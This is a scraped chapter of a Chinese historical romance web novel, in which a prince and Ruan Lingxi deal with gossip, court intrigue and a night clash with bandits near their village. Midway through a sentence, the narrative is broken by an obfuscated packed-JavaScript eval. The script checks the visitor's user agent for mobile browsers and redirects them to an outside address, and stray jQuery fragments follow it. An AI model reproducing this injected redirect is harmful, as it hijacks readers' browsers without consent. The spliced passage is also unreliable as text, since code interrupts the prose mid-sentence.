默认冷灰
24号文字
方正启体

15. 第 15 章

作者:乔木依本书字数:K更新时间:
    阮灵溪躲在东屋,坐在床边,将自己进屋后,外面发生的一切动静都听得一清二楚,也听到了众人走后,赵文奂进屋的脚步声。


    原本是想拿他当挡箭牌,没想到闹得人尽皆知,连他本人都听见了。


    脸上红晕还没散去,她摸了摸脸颊,心里懊恼极了,尤其是想到赵文奂在听到她那番话时,脸上那副耐人寻味的神情,她恨不能钻进被窝,长眠不醒。


    万一他要当真了……


    阮灵溪不敢想下去,只能她不停地告诉自己,不过是拿他做个幌子,对他也没什么损失。就算明日旁人议论此事,也只会说她阮灵溪爱慕赵文奂,丢脸的是她,又不是他。


    这时,外面传来敲门声。


    声音虽轻,却还是像鼓点般一声声敲在她心上,心顿时砰砰跳个不停。


    几声敲门声过后,赵文奂的声音传来。


    “灵溪,方才那番话,我知道你是被逼无奈,我并未放在心上,你也不必因此难为情。”


    听他这样说,阮灵溪松口气的同时,心里又有一股复杂情绪莫名交缠,除了对他体谅的感激,还有一点隐隐的失落。


    她怔怔地看着门,一句话也说不出来。


    房间里并没动静传来,赵文奂留下话便转身离去。


    阮灵溪听见门口渐远的脚步声,心里一急,连忙起身开门。


    赵文奂刚走到外屋门口,听到开门声便回过头来。


    两人四目相对,一时间空气里只剩下沉默。


    最终还是赵文奂先开了口。


    “我还以为你性子能忍,没想到被那陆怀仁缠得紧了,也有受不住的时候。”


    他说这话时,语气随意地很,眉眼嘴角也都弯成好看的弧度,阮灵溪从中听出几分逗趣的意味,顿时觉得轻松许多,也跟着浅浅一笑。


    想起陆怀仁方才提起盗匪的事,她忽然没了笑面,不由得担心起来。


    “石凌,陆怀仁方才说禹州来了几伙盗匪,就藏在这周边山里,我怀疑就是前几日几个村民遇到的那伙。”


    赵文奂点头补充,“今日与云婶在田中,还谈及此事,听说那盗贼连着劫了好几个村子,官兵连一个人影都没抓到,那禹州太守就是个无用的酒囊饭袋。”


    他素来留心地方各处的民情动向,别的地方早已时有乱象,唯有禹州还算得上太平,可如今这里忽然出现匪盗流窜,除却天下局势已然渐渐不稳所致,还有一种可能,便是山中藏着某些不可告人的秘密,被村民撞破闹大后,有人借着盗匪的假象蒙蔽视听。


    “你说他们晚上会不会……”阮灵溪没再说下去,她来到门口,望着堆在院子里的麦秆簇,“也不知道这蚕还能养到几时。”


    “这事交给我。”赵文奂倚着门框看她,知道她是为村里担忧,于是安慰,“你们留下我,不就是为了今日,放心,有我在,绝不会让匪徒踏进村子一步。”


    这话,阮灵溪信,她亲眼见过他的实力,况且,若他撑不住,还有她,云栖,还有谢如风,几人联手,总可以抵挡一阵,减少些损失。


    “谢谢你。”


    赵文奂挑了挑眉,算是接受她的谢意,目光落至屋内桌上的鸽子时,他问:“唉,那鸽子是怎么回事?”


    阮灵溪跟着看过去,眼底闪过一丝惋惜,“陆怀仁杀给我看的。”她将今日陆怀仁当她面宰杀鸽子一事细细说了。


    当得知周立从中挑唆时,赵文奂担忧提醒,“那个周立,你从前真的不认识?”


    阮灵溪摇摇头,确实不识,但如果他真的与她有仇,她倒是也不惊讶,毕竟,她曾亲手了结过许多性命,那些人的家眷因此记恨她,也是人之常情。


    她没再继续这个话题,进屋拿起鸽子,抚摸了两下羽毛,轻松道:“石凌,既然鸽子已经死了,那你今晚便又要有鸽子汤喝了。”


    赵文奂盯着那白中带血的鸽子,硬拉扯了下嘴角,“不如明天。”


    -


    赵文奂从阮灵溪那里回去后,谢如风向他禀报了今日进城所得消息。


    如他所料,赵文锐此次来禹州,并非只为取他性命,相反,是遵从皇上旨意,劝他返京入朝。


    赵文奂虽远离朝堂,可朝中眼线不少,京中情况了如指掌,他明白,自己这个皇帝哥哥,与赵文锐沆瀣一气,亲小人,远贤臣,若有猜忌,必定是严厉打压,几年下来,朝中已几无可用之人。


    谢如风:“皇上前不久才听从刘大人意见将你贬谪禹州,没过多久便又要召你回京,这天家旨意,竟可如此反复。”


    赵文奂却有其他思虑。


    “若真有明旨,或许是现在朝廷局势危急,已到了不得不启用旧人的地步。”


    至于为什么是他,按照猜测,他素来一副淡泊名利,与世无争之态,上次那封回信,想必甚得圣心,以至于对他疑心全除。


    若无明确旨意,才最是凶险。


    谢如风有些担忧,“王爷,信王打算与您见面,恐怕不日便会托人送信来,到时,您是去还是不去。”


    “自然要去,”赵文奂站起身,“有戏开场,不去听,怎知其中精彩。”


    他推开房门,站在门口,不远处的连绵群山,尽收眼底。


    春末夏初之时,山中树木愈发繁盛,然此刻,大片浓重乌云沉沉压在山顶,更添了几分郁森之气。且乌云还有渐多之势,可空气中却无半分雨前湿润,想来入夜之后,定是浓云遮月,漆黑一片。


    “如风,今晚怕是有事要做了。”


    “王爷,您的意思是?”谢如风站起身,跟着朝外望去。


    “月黑风高夜,杀人放火时。”赵文奂的目光越过池塘,落在对面院里,阮灵溪正与云栖抱着先前扎好的麦秆簇,一趟趟往柴房去。


    看着看着,他竟无意识地笑了。


    谢如风对他的笑不明所以,皱眉端详片刻,问:“王爷是说前几日劫村的那几伙山贼?只是平乐村就在禹州城边上,他们未必有这么大胆子。”


    赵文奂不动声色地将目光移向远处,略微思索片刻,说:“平乐村紧邻禹州东门,村外虽有官道,周围却是连绵深山,阻隔了往来交通,商旅往来本就不兴盛,故而路上车马稀少,经此门入城的人也不多,以至此处城门守卫向来松懈,若村中出事,即便城中发兵来救,也必定拖沓迟缓。”


    谢如风恍然,接着话说:“土匪若是偷袭平乐村,得手后便可向周围逃窜,隐入茫茫大山之中,官府即便想要追捕,也难如登天。”


    赵文奂点点头。


    “只是他们若真要进村,定不会从西边来,余下东、南、北几面皆可入。我们只有两人,无法提前知晓他们具体方向,恐怕会难以周全顾及。”


    “去东北方向。”赵文奂淡淡开口,却已然成竹在胸。


    这三面虽都邻着山,可山与村之间隔着大片农田,唯东北方向有一大片荒林,是藏身潜伏的好去处,所以,他料定,山贼若来,定是从此处入村。


    向来山贼进村,常于三更前


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490855|202216||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后,那时天已黑的彻底,且人睡的最沉,方便摸黑进村偷袭。


    所以,晚饭后,赵文奂与谢如风短暂休憩,便拿着提前备好的,粗如鸡蛋的木棍和火把,悄悄出了门。


    两人均擅长用剑与长枪,可毕竟住在农家,这些东西不好拿到明面,只能找来棍棒代替。


    在村中各处巡查一遍后,两人便径直来到村东北方向的树林处。


    此处距村不足一里,加上夜风颇大,树林里枝叶摇摆,混着呼啸风声,响彻村中。


    两人找了一处背风且相对平坦的地方坐下,先是谈论朝中局势,继而又说起禹州人情风貌,聊着聊着,话题便渐渐落到阮灵溪身上。


    “殿下,我看您近来对灵溪姑娘处处关照,难不成……动了情?”


    赵文奂拽了个草叶在手中转着,语气平淡:“你若这般说,那我是不是也能当你对云栖动了心?”


    谢如风愣了下,目光四下里打量着,半晌才憋出话来。


    “上午我虽没在现场,可也听说了,灵溪姑娘可是当众表明对你的心意,殿下,您若真是无心,不如早些疏远,免得让人家姑娘误会下去,最后反倒伤了心。”


    话音刚落,肩上便重重挨了一拳,“用得着你来教本王行事?”


    谢如风揉着肩头,一脸无奈,望着漆黑寂静的林子,感叹道:“已经守了近两个时辰,再过一个时辰天便要亮了,应该不会来了。”


    赵文奂没作声,在风声与林叶的交织声中,他隐隐听出了脚踩枝叶的细碎响,听着不像是一两个人,而是一群。


    “他们来了。”赵文奂将手中草叶随手一扔,捡起搁在一旁的木棍,站起身来。


    谢如风立马惊觉,跟着起身,握紧了木棍。


    待到脚步响从风声中脱出,逐渐清晰,赵文奂便知他们已近到眼前,于是吩咐谢如风点起火把。


    火光倏然亮起,两个手持木棍的年轻人,在颤动的火光中孑然而立。


    山贼们猝不及防吓了一跳,纷纷停下脚步,待看清只有两人后,为首的山贼顿露不屑,喝道:“老子们只要钱财,不想要命,你们两个识相的赶紧滚开,不然别怪老子大开杀戒!”


    两人相视一笑,赵文奂扬声喊道,“若是放你们进了村,岂不是显得我俩太无用,劝你们主动退下,免得折在这里,徒增笑柄。”


    贼头没想到,区区两人,竟敢如此狂妄,“去死吧。”他手臂一抬,身后人当即一拥而上。


    赵文奂与谢如风不慌不忙,待一众人靠近,才将火把扔到一旁,抡起木棍开打。


    这帮山贼虽看起来凶悍,却全是未经操练的乌合之众,只知道一味蛮打,他俩本就习武多年,又在战场上厮杀过一年,对付这些人,简直是绰绰有余。


    贼首本以为几下便可解决掉两人,却不想缠斗许久,他俩越战越猛,尤其见到赵文奂挥棍一挑,身边两个小贼的刀顿时脱手飞出,那两刀相撞后,竟生生断裂在地,更是惊得瞪大眼睛。


    轻松解决掉缠在周围的人后,赵文奂将目标放在贼首身上,瞥见其腰间还挎了一把短弯刀,他随手几棍扫出,他一个飞身跃至贼首面前。


    贼首见此,急忙抡起手中大刀,两人对战十几回合,赵文奂挥棍打中其手腕,那刀立时脱手飞至空中,落下瞬间,赵文奂稳稳接住,腕间一转,锋利刀刃顷刻间刀抵在贼首脖颈。


    贼首垂着眼,死死盯着脖间的刀刃,身体瑟瑟发抖,“我们只是下山走个过场,走个过场……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)